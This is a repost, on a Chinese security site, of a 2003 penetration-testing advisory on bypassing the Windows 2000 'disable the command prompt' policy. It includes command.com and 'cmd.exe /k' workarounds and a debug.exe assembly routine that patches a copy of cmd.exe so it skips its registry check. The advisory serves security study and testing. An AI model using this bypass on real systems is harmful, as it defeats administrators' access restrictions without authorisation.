首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>网络安全>文章内容
Win2k - Bypassing cmd.exe restrictions
来源:security-assessment.com 作者:Brett 发布时间:2004-06-21  

Win2k - Bypassing cmd.exe restrictions
From: Brett Moore (brett_at_softwarecreations.co.nz)
Date: May 28 2003

Next message: Mark Phillips: "Scanning - anyone got ball park timings?"
Previous message: Roger Bou-Aoun: "RE: Pen test courses"
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]

--------------------------------------------------------------------------------

============================================================================
% Win2k - Bypassing cmd.exe restrictions
% brett.moore_at_security-assessment.com
============================================================================


* Background *


Windows 2000 allows an administrator to lock down access to
cmd.exe through the use of group policies.


C:\WINNT\system32\gpedit.msc
Local Computer Policy->User Configuration->Administrative
Templates->System


Under this tab there is a setting that can be used to prevent
access to cmd.exe.


Disable the command prompt


* Scope Of This Exercise *


- We are not looking at the option for running only allowed
windows applications, or the option to not allow specific
programs. This restriction can usally be bypassed by
copying the file and renaming to an allowed application.
- There is no Internet access from the machine to download
apps from an external source.
- The server is not secure. (obviously)


* Where are we? *


In most cases bypassing these restrictions, requires us to
know the full path to a location we can write to.


A simple method of path discovery is to create a file in a
writeable folder (the desktop) using notepad. Call the file
anything.com or anything.exe and set the contents to be


ec


Then when running the file windows will popup an error message
similar to;


------------------------------------------------------------
16 bit MS-Dos Subsytem


<full path>\anything.exe
The NTVDM CPU has encountered an illegal instruction.
CS:057c IP:0100 OP:65 63 0d 0a c3
Choose 'close' to terminate the application.
------------------------------------------------------------


* Bypass Cmd.exe Restriction *


The 'disable the command prompt' option has an extra setting
entitled


'Disable the command prompt script processing also?'


If the 'command prompt script processing' is NOT disabled and
command.com exists, a user can simply execute command.com or a
copy of it to gain access to a shell prompt.


If the 'command prompt script processing' is NOT disabled and cmd.exe
exists but command.com does not then a user can still execute dos
commands through;


cmd.exe /k <command to run>
example
cmd.exe /k dir


If the 'command prompt script processing' IS disabled and
command.com exists then a user can execute dos commands through;


command.com /k <command to run>
example
command.com /k dir


If the 'command prompt script processing' IS disabled and
command.com does not exist then we must do a little bit
of work to bypass this.


Upon trying to execute cmd.exe, even if it has been renamed
the user is shown the following;
------------------------------------------------------------
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.


The command prompt has been disabled by your administrator.


Press any key to continue . . .
------------------------------------------------------------


The checking for this setting is done from within cmd.exe and
is done by checking the registry value;


HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD


For this exercise we are assuming that the user does not have
access to edit this registry key, so to bypass the check we
need to edit the registry key within cmd.exe.


To edit cmd.exe we first need to create a copy of it in our
writeable folder and have access to debug.exe.
See below for copying methods.


After starting debug.exe a user can enter the following old
school asm;


---- DEBUG.EXE modify our cmd.exe ----


-a 100
0B29:0100 xor byte ptr [12f],90 ; To avoid nulls
0B29:0105 mov ax,3d02 ; Open file read/write
0B29:0108 mov dx,127 ; Pointer to filename
0B29:010B int 21 ; INT 21h
0B29:010D mov bx,ax ; Save the file handle
0B29:010F mov ax,4201 ; Move file pointer
0B29:0112 xor cx,cx ; 0 high byte
0B29:0114 mov dx,1148 ; Low byte position
0B29:0117 int 21 ; INT 21h
0B29:0119 mov ah,40 ; Write to file
0B29:011B inc cx ; Number of bytes
0B29:011C mov dx,127 ; Position of data to write
0B29:011F int 21 ; INT 21h
0B29:0121 mov ah,3e ; Close file
0B29:0123 int 21 ; INT 21h
0B29:0125 int 20 ; Terminate
0B29:0127
-e 127 "c:\a.exe",90 ; File name of cmd.exe copy
-g
Program terminated normally
-quit


This code contains no null values, which is not really
required for this exercise. The reason for this is our
research was/is continuing into writing an ascii decoder
allowing the use of notepad.exe to write the above program.


---- DEBUG.EXE modify our cmd.exe ----


After running the above we can now run our modified cmd.exe to
look for a non-existant registry entry. cmd.exe fails open so
this will bypass the registry check.
------------------------------------------------------------
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.


C:\>
------------------------------------------------------------


* Copying Files *


There are various methods to copy a file from within a
restricted enviroment, most are well documented already.
* copy through file->open menu with right mouse
* copy through file->open menu with drag-drop
* copy through vbscript/word macros
* copy through xcopy.exe
* copy through debug.exe


Using debug.exe, the user can write a short debug script to do
a byte for byte copy of any file they have read rights to.


Brett Moore
Network Intrusion Specialist
security-assessment.com
+64-9-300-6494



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·一句话木马
·samcrypt.lib简介
·教你轻松查看QQ空间加密后的好友
·web sniffer 在线嗅探/online ht
·SPIKE与Peach Fuzzer相关知识
·asp,php,aspx一句话集合
·Cisco PIX525 配置备忘
·用Iptables+Fedora做ADSL 路由器
·检查 Web 应用安全的几款开源免
·Md5(base64)加密与解密实战
·NT下动态切换进程分析笔记
·风险评估中的渗透测试
  相关文章
·HTML files in Local Computer Z
·IPSec打造FreeBSD下信息安全传输
·榨干MS SQL最后一滴血
·JSP Backdoor Reverse Shell Ana
·SQL Server密码对照表
·木桶新理论与信息安全
·追踪垃圾邮件来源
·国际标准ISO/IEC17799(四)
·国际标准ISO/IEC17799(三)
·错误的网络访问控制策略导致PMTU
·国际标准ISO/IEC17799(二)
·谈php+mysql注射语句构造-Okphp
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved